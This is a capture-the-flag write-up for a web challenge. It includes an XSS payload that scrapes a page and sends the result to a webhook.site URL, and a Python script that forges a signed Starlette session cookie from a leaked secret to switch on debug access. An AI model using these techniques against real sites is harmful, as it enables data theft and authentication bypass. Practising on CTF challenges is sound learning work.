---
# System prepended metadata

title: ZERO STORAGE
tags: [solved]

---

# ZERO STORAGE

* site : http://zero-storage-eof-ctf.csie.org:1310/
* 如果上傳的是 html，可以成功 XSS
* session 裡面就會有 id 和 file_list session, 是 HTTPOnly, 有簽證
* no dns rebind

## FLAG A
* for admin to see the xss file needs to be friend
* report url `http://zero-storage-eof-ctf.csie.org:1310/befriend?friend_name=cclin0816`
* report XSS view `http://zero-storage-eof-ctf.csie.org:1310/view?filename=-7uQTJAfMBqTnV-vFW7C4YK3gtK2wj-7.html`
```html=
<script>
  fetch("http://zero-storage-eof-ctf.csie.org:1310/home")
    .then((response) => response.text())
    .then((data) => {
      let parser = new DOMParser();
      let doc = parser.parseFromString(data, 'text/html');
      let f = doc.getElementsByClassName("pure-u-1")[2].getElementsByTagName("a")[0].innerText
      fetch(
        "https://webhook.site/127c4204-b073-4598-bbff-fd3afe6bffa5/?res=" + f
      );
    })
    .catch((error) => {
      fetch(
        "https://webhook.site/127c4204-b073-4598-bbff-fd3afe6bffa5/?res=" +
        btoa(error)
      );
    });
</script>
```
* get the filename of flag and see it `http://zero-storage-eof-ctf.csie.org:1310/view?filename=maSAAkI-kiSHIbE-sONG-for-1310_hepHNKnZQntYd0pd.txt`
* FLAG{i_guess_I_run_OuT_of_IDEAs_ABouT_NuMbers......}


## FLAG B

```python
async def debug_user(request):
    if not request.session.get('debug', False):
        return TemplateResponse('show.html', {'request': request, 'note': 'Permission denied'})
    uid = request.query_params.get('id', request.session.get('id', -1))
    async with db.execute('SELECT user, pass FROM users WHERE id = ?', (uid, )) as cursor:
        row = await cursor.fetchone()
        user, pas = (None, None) if row is None else row
    return TemplateResponse('show.html', {
        'request': request,
        'pre': True,
        'note': f'''id : {uid}
name: {user}
pass: {pas}
'''
    })
```
* error page (access 不存在的頁面) 可以看到 middleware 的 secret key ```Ludibrium-Secret-133.221.333.123.111_kvYAtbZkwkhyPv5B```
* session 中的 debug 要是 True，若 session 中沒有 debug 就會自動是 False
* [Starlette Source](https://github.com/encode/starlette/blob/master/starlette/middleware/sessions.py) 裡面有 load cookie 的部分
![](https://i.imgur.com/NJ1SF3Z.png)
* 用這個腳本生 session，在 load ```http://zero-storage-eof-ctf.csie.org:1310/debug_user?debug_user=admin``` 的時候送 (可以用 burpsuite)
```python=
from base64 import b64decode, b64encode
import itsdangerous, json

signer = itsdangerous.TimestampSigner("Ludibrium-Secret-133.221.333.123.111_kvYAtbZkwkhyPv5B")
payload = {"id": 0, "filenames": [], "debug": True}
data = b64encode(json.dumps(payload).encode("utf-8"))
max_age = 14 * 24 * 60 * 60
print(signer.sign(data))
```
* FLAG{DO_u_rEMEmBeR_LudiBRIUM_s_Funny_tIME_makeR_bgM?}

###### tags: `solved`